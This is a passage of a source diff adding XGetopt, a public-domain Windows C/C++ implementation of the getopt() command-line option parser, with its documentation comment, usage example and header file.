May 17 +// - Added Unicode support +// +// Version 1.1 - 2002 March 10 +// - Added example to XGetopt.cpp module header +// +// This software is released into the public domain. +// You are free to use it in any way you like. +// +// This software is provided "as is" with no expressed +// or implied warranty. I accept no liability for any +// damage or loss of business that this software may cause. +// +/////////////////////////////////////////////////////////////////////////////// + + +/////////////////////////////////////////////////////////////////////////////// +// if you are using precompiled headers then include this line: +//#include "stdafx.h" +/////////////////////////////////////////////////////////////////////////////// + + +/////////////////////////////////////////////////////////////////////////////// +// if you are not using precompiled headers then include these lines: +//#include +//#include +//#include +/////////////////////////////////////////////////////////////////////////////// + +#include +#include +#include "xgetopt.h" + + +/////////////////////////////////////////////////////////////////////////////// +// +// X G e t o p t . c p p +// +// +// NAME +// getopt -- parse command line options +// +// SYNOPSIS +// int getopt(int argc, char *argv[], char *optstring) +// +// extern char *optarg; +// extern int optind; +// +// DESCRIPTION +// The getopt() function parses the command line arguments. Its +// arguments argc and argv are the argument count and array as +// passed into the application on program invocation. In the case +// of Visual C++ programs, argc and argv are available via the +// variables __argc and __argv (double underscores), respectively. +// getopt returns the next option letter in argv that matches a +// letter in optstring. (Note: Unicode programs should use +// __targv instead of __argv. Also, all character and string +// literals should be enclosed in _T( ) ). +// +// optstring is a string of recognized option letters; if a letter +// is followed by a colon, the option is expected to have an argument +// that may or may not be separated from it by white space. optarg +// is set to point to the start of the option argument on return from +// getopt. +// +// Option letters may be combined, e.g., "-ab" is equivalent to +// "-a -b". Option letters are case sensitive. +// +// getopt places in the external variable optind the argv index +// of the next argument to be processed. optind is initialized +// to 0 before the first call to getopt. +// +// When all options have been processed (i.e., up to the first +// non-option argument), getopt returns EOF, optarg will point +// to the argument, and optind will be set to the argv index of +// the argument. If there are no non-option arguments, optarg +// will be set to NULL. +// +// The special option "--" may be used to delimit the end of the +// options; EOF will be returned, and "--" (and everything after it) +// will be skipped. +// +// RETURN VALUE +// For option letters contained in the string optstring, getopt +// will return the option letter. getopt returns a question mark (?) +// when it encounters an option letter not included in optstring. +// EOF is returned when processing is finished. +// +// BUGS +// 1) Long options are not supported. +// 2) The GNU double-colon extension is not supported. +// 3) The environment variable POSIXLY_CORRECT is not supported. +// 4) The + syntax is not supported. +// 5) The automatic permutation of arguments is not supported. +// 6) This implementation of getopt() returns EOF if an error is +// encountered, instead of -1 as the latest standard requires. +// +// EXAMPLE +// BOOL CMyApp::ProcessCommandLine(int argc, char *argv[]) +// { +// int c; +// +// while ((c = getopt(argc, argv, _T("aBn:"))) != EOF) +// { +// switch (c) +// { +// case _T('a'): +// TRACE(_T("option a\n")); +// // +// // set some flag here +// // +// break; +// +// case _T('B'): +// TRACE( _T("option B\n")); +// // +// // set some other flag here +// // +// break; +// +// case _T('n'): +// TRACE(_T("option n: value=%d\n"), atoi(optarg)); +// // +// // do something with value here +// // +// break; +// +// case _T('?'): +// TRACE(_T("ERROR: illegal option %s\n"), argv[optind-1]); +// return FALSE; +// break; +// +// default: +// TRACE(_T("WARNING: no handler for option %c\n"), c); +// return FALSE; +// break; +// } +// } +// // +// // check for non-option args here +// // +// return TRUE; +// } +// +/////////////////////////////////////////////////////////////////////////////// + +char *optarg; // global argument pointer +int optind = 0; // global argv index + +int getopt(int argc, char *argv[], char *optstring) +{ + char c = 0; + char *cp = NULL; + + static char *next = NULL; + if (optind == 0) + next = NULL; + + optarg = NULL; + + if (next == NULL || *next == '\0') + { + if (optind == 0) + optind++; + + if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0') + { + optarg = NULL; + if (optind < argc) + optarg = argv[optind]; + return EOF; + } + + if (strcmp(argv[optind], "--") == 0) + { + optind++; + optarg = NULL; + if (optind < argc) + optarg = argv[optind]; + return EOF; + } + + next = argv[optind]; + next++; // skip past - + optind++; + } + + c = *next++; + cp = strchr(optstring, c); + + if (cp == NULL || c == ':') + return '?'; + + cp++; + if (*cp == ':') + { + if (*next != '\0') + { + optarg = next; + next = NULL; + } + else if (optind < argc) + { + optarg = argv[optind]; + optind++; + } + else + { + return '?'; + } + } + + return c; +} diff --git a/src/xgetopt.h b/src/xgetopt.h new file mode 100644 index 0000000..adcbade --- /dev/null +++ b/src/xgetopt.h @@ -0,0 +1,23 @@ +// XGetopt.h Version 1.2 +// +// Author: Hans Dietrich +// hdietrich2@hotmail.com +// +// This software is released into the public domain. +// You are free to use it in any way you like. +// +// This software is provided "as is" with no expressed +// or implied warranty. I accept no liability for any +// damage or loss of business that this software may cause. +// +/////////////////////////////////////////////////////////////////////////////// + +#ifndef XGETOPT_H +#define XGETOPT_H + +extern int optind, opterr; +extern char *optarg; + +int getopt(int argc, char *argv[], char *optstring); + +#endif //XGETOPT_H